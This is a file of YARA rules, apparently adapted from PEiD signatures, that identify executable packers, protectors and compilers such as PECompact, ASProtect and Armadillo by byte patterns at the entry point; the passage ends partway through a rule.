+rule _Hasp_dongle_Alladin_
+{
+	meta:
+		description = "Hasp dongle (Alladin)"
+	strings:
+		$0 = {50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16d__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6d --> Vaska"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68}
+		$1 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ACProtect_v141_
+{
+	meta:
+		description = "ACProtect v1.41"
+	strings:
+		$0 = {60 76 03 77 01 7B 74 03 75 01 78 47 87 EE E8 01 00 00 00 76 83 C4 04 85 EE EB 01 7F 85 F2 EB 01 79 0F 86 01 00 00 00 FC EB 01 78 79 02 87 F2 61 51 8F 05 19 38 01 01 60 EB 01 E9 E9 01 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_2xx_Slim_Loader__BitSum_Technologies_
+{
+	meta:
+		description = "PECompact 2.xx (Slim Loader) --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ChSfx_small_v11_
+{
+	meta:
+		description = "ChSfx (small) v1.1"
+	strings:
+		$0 = {BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_10X__bagie_
+{
+	meta:
+		description = "SimplePack 1.0X -> bagie"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _nSpack_V2x__LiuXingPing_
+{
+	meta:
+		description = "nSpack V2.x -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5}
+	condition:
+		$0
+}
+rule _tElock_v042_
+{
+	meta:
+		description = "tElock v0.42"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Stealth_275a__WebtoolMaster_
+{
+	meta:
+		description = "Exe Stealth 2.75a -> WebtoolMaster"
+	strings:
+		$0 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v252b2_
+{
+	meta:
+		description = "Armadillo v2.52b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Adys_Glue_110_
+{
+	meta:
+		description = "Ady's Glue 1.10"
+	strings:
+		$0 = {2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Spin_v0b_
+{
+	meta:
+		description = "PE Spin v0.b"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _ZealPack_10__Zeal_
+{
+	meta:
+		description = "ZealPack 1.0 -> Zeal"
+	strings:
+		$0 = {C7 45 F4 00 00 40 00 C7 45 F0 ?? ?? ?? ?? 8B 45 F4 05 ?? ?? ?? ?? 89 45 F4 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 F0 7D 22 8B 45 F4 03 45 FC 8A 08 88 4D F8 0F BE 55 F8 83 F2 0F 88 55 F8 8B 45 F4 03 45 FC 8A 4D F8 88 08 EB CD FF 65 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1258__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2.5.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PrincessSandy_v10_eMiNENCE_Process_Patcher_Patch_
+{
+	meta:
+		description = "PrincessSandy v1.0 eMiNENCE Process Patcher Patch"
+	strings:
+		$0 = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08}
+	condition:
+		$0
+}
+rule _Alloy_v1x2000_
+{
+	meta:
+		description = "Alloy v1.x.2000"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_LCC_Win32_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LCC Win32 DLL] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_tElock_061__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake tElock 0.61) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08 F3 EB FF E0 83 C0 28 50 E8 00 00 00 00 5E B3 33 8D 46 0E 8D 76 31 28 18 F8 73 00 C3 8B FE B9 3C 02}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_113002006_Beta__NEOx_
+{
+	meta:
+		description = "nPack 1.1.300.2006 Beta -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 2D 02 00 00 E8 DD 06 00 00 E8 2C 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _NakedPacker_10__by_BigBoote_
+{
+	meta:
+		description = "NakedPacker 1.0 - by BigBoote"
+	strings:
+		$0 = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 40 ?? ?? ?? C3 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 48 ?? ?? ?? C3 8B 4C 24 04 56 8B 74 24 10 57 85 F6 8B F9 74 0D 8B 54 24 10 8A 02 88 01}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_ExeSmasher__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ExeSmasher] --> Anorganix"
+	strings:
+		$0 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimysPacker_V12__hmimys_
+{
+	meta:
+		description = "hmimys-Packer V1.2 -> hmimys"
+	strings:
+		$0 = {E8 95 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 5E AD 50 AD 50 97 AD 50 AD 50 AD 50 E8 C0 01 00 00 AD 50 AD 93 87 DE B9 ?? ?? ?? ?? E3 1D 8A 07 47 04 ?? 3C ?? 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 05 ?? ?? ?? ?? 2B C7 AB E2 E3 AD 85 C0 74 2B 97 56 FF 13 8B E8 AC 84 C0 75 FB 66 AD 66 85 C0 74 E9 AC 83 EE 03 84 C0 74 08 56 55 FF 53 04 AB EB E4 AD 50 55 FF 53 04 AB EB E0 C3 8B 0A 3B 4A 04 75 0A C7 42 10 01 00 00 00 0C FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Guarder_v18__Exeiconcom_
+{
+	meta:
+		description = "Exe Guarder v1.8 -> Exeicon.com"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+	condition:
+		$0 at entrypoint
+}
+rule _PureBasic_4x__Neil_Hodgson_
+{
+	meta:
+		description = "PureBasic 4.x -> Neil Hodgson"
+	strings:
+		$0 = {68 ?? ?? 00 00 68 00 00 00 00 68 ?? ?? ?? 00 E8 ?? ?? ?? 00 83 C4 0C 68 00 00 00 00 E8 ?? ?? ?? 00 A3 ?? ?? ?? 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? ?? ?? 00 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_225__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.25 - by Jan Vorel"
+	strings:
+		$0 = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98 27 00 00 E8 93 20 00 00 68 01 00 00 00 68 D0 7D 40 00 68 00 00 00 00 8B 15 D0 7D 40 00 E8 89 8F 00 00 B8 00 00 10 00 68 01 00 00 00 E8 9A 8F 00 00 FF 35 A4 7F 40 00 68 00 01 00 00 E8 3A 23 00 00 8D 0D A8 7D 40 00 5A E8 5E 1F 00 00 FF 35 A8 7D 40 00 68 00 01 00 00 E8 2A 52 00 00 A3 B4 7D 40 00 FF 35 A4 7F 40 00 FF 35 B4 7D 40 00 FF 35 A8 7D 40 00 E8 5C 0C 00 00 8D 0D A0 7D 40 00 5A E8 26 1F 00 00 FF 35}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v17_
+{
+	meta:
+		description = "Exe Shield v1.7"
+	strings:
+		$0 = {EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_29__North_Star_
+{
+	meta:
+		description = "NsPack 2.9 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8A 06 3C 00 74 12 8B F5 8D B5 ?? ?? FF FF 8A 06 3C 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_SKE_21x_dll__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect SKE 2.1x (dll) -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v022__v023_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.22 ~ v0.23 Beta -> Dwing"
+	strings:
+		$0 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_V23X__MoleStudiocom_
+{
+	meta:
+		description = "MoleBox V2.3X -> MoleStudio.com"
+	strings:
+		$0 = {E8 00 00 00 00 60 E8 4F 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_2xx__BitSum_Technologies_
+{
+	meta:
+		description = "PECompact 2.xx --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v13__v14__Vaska_
+{
+	meta:
+		description = "RCryptor v1.3 / v1.4 --> Vaska"
+	strings:
+		$0 = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50}
+		$1 = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v131_
+{
+	meta:
+		description = "FSG v1.31"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Ninja_v10__pDzA_kRAker_TNT_
+{
+	meta:
+		description = "PE Ninja v1.0 -> +DzA kRAker TNT"
+	strings:
+		$0 = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V37__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.7 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 80 39 01 0F ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_50p_MFC__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 5.0+ (MFC)] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1300__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 47 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v11__Vaska_
+{
+	meta:
+		description = "RCryptor v1.1 --> Vaska"
+	strings:
+		$0 = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0}
+		$1 = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 or $1
+}
+rule _WinZip_32bit_6x_
+{
+	meta:
+		description = "WinZip (32-bit) 6.x"
+	strings:
+		$0 = {FF 15 FC 81 40 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10}
+	condition:
+		$0 at entrypoint
+}
+rule _vfpexeNc_V500__Wang_JianGuo_
+{
+	meta:
+		description = "vfp&exeNc V5.00 -> Wang JianGuo"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _USSR_031__by_Spirit_
+{
+	meta:
+		description = "USSR 0.31 - by Spirit"
+	strings:
+		$0 = {E8 00 00 00 00 5D 83 C5 12 55 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 8C C9 30 C9 E3 01 C3 BE 32 ?? ?? ?? B0 ?? 30 06 8A 06 46 81 FE 00 ?? ?? ?? 7C F3}
+	condition:
+		$0
+}
+rule _Upack_Patch_or_any_Version__Dwing_
+{
+	meta:
+		description = "Upack_Patch or any Version -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b7_
+{
+	meta:
+		description = "PECompact v1.10b7"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeTools_COM2EXE_
+{
+	meta:
+		description = "ExeTools COM2EXE"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Vterminal_V10X__Lei_Peng_
+{
+	meta:
+		description = "Vterminal V1.0X -> Lei Peng"
+	strings:
+		$0 = {E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v198_
+{
+	meta:
+		description = "Nullsoft Install System v1.98"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 2C 81 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v12_
+{
+	meta:
+		description = "PEtite v1.2"
+	strings:
+		$0 = {9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__70__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0 / ASM)"
+	strings:
+		$0 = {E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v__If_you_know_this_version_post_on_PEiD_board_h2_
+{
+	meta:
+		description = "ASProtect v?.? -> If you know this version, post on PEiD board (h2)"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Armadillo_v190_
+{
+	meta:
+		description = "Armadillo v1.90"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _VMProtect_106107__PolyTech_
+{
+	meta:
+		description = "VMProtect 1.06..1.07 -> PolyTech"
+	strings:
+		$0 = {9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_FSG_131__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [FSG 1.31] --> Anorganix"
+	strings:
+		$0 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_v105_
+{
+	meta:
+		description = "Xtreme-Protector v1.05"
+	strings:
+		$0 = {E9 ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Exe_Protector_1x__setisoft_
+{
+	meta:
+		description = "Private Exe Protector 1.x -> setisoft"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? 90 01 ?? BE ?? 10 40 ?? 68 50 91 41 ?? 68 01 ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Frusion__biff_
+{
+	meta:
+		description = "Frusion -> biff"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10B__vcasm_
+{
+	meta:
+		description = "VProtector V1.0B -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _MaskPE_16__yzkzero_
+{
+	meta:
+		description = "MaskPE 1.6 -> yzkzero"
+	strings:
+		$0 = {36 81 2C 24 ?? ?? ?? 00 C3 60}
+	condition:
+		$0
+}
+rule _XHider_10__GlobaL_
+{
+	meta:
+		description = "X-Hider 1.0 -> GlobaL"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 33 C0 89 45 EC B8 54 20 44 44 E8 DF F8 FF FF 33 C0 55 68 08 21 44 44 64 FF 30 64 89 20 8D 55 EC B8 1C 21 44 44 E8 E0 F9 FF FF 8B 55 EC B8 40 ?? ?? 44 E8 8B F5 FF FF 6A 00 6A 00 6A 02 6A 00 6A 01 68 00 00 00 40 A1 40 ?? ?? 44 E8 7E F6 FF FF 50 E8 4C F9 FF FF 6A 00 50 E8 4C F9 FF FF A3 28 ?? ?? 44 E8 CE FE FF FF 33 C0 5A 59 59 64 89 10 68 0F 21 44 44 8D 45 EC E8 F1 F4 FF FF C3 E9 BB F2 FF FF EB F0 E8 FC F3 FF FF FF FF FF FF 0E 00 00 00 63 3A 5C 30 30 30 30 30 30 31 2E 64 61 74 00}
+		$1 = {85 D2 74 23 8B 4A F8 41 7F 1A 50 52 8B 42 FC E8 30 00 00 00 89 C2 58 52 8B 48 FC E8 48 FB FF FF 5A 58 EB 03 FF 42 F8 87 10 85 D2 74 13 8B 4A F8 49 7C 0D FF 4A F8 75 08 8D 42 F8 E8 5C FA FF FF C3 8D 40 00 85 C0 7E 24 50 83 C0 0A 83 E0 FE 50 E8 2F FA FF FF 5A 66 C7 44 02 FE 00 00 83 C0 08 5A 89 50 FC C7 40 F8 01 00 00 00 C3 31 C0 C3 90}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ORiEN_V212__Fisun_AV_
+{
+	meta:
+		description = "ORiEN V2.12 -> Fisun A.V."
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE CD 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _beria_v007_public_WIP__symbiont_
+{
+	meta:
+		description = "beria v0.07 public WIP --> symbiont"
+	strings:
+		$0 = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v12_
+{
+	meta:
+		description = "MEW 11 SE v1.2"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Packman_0001__bubba_
+{
+	meta:
+		description = "Packman 0.0.0.1 -> bubba"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D A8 ?? FE FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Macromedia_Flash_Projector_60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Macromedia Flash Projector 6.0] --> Anorganix"
+	strings:
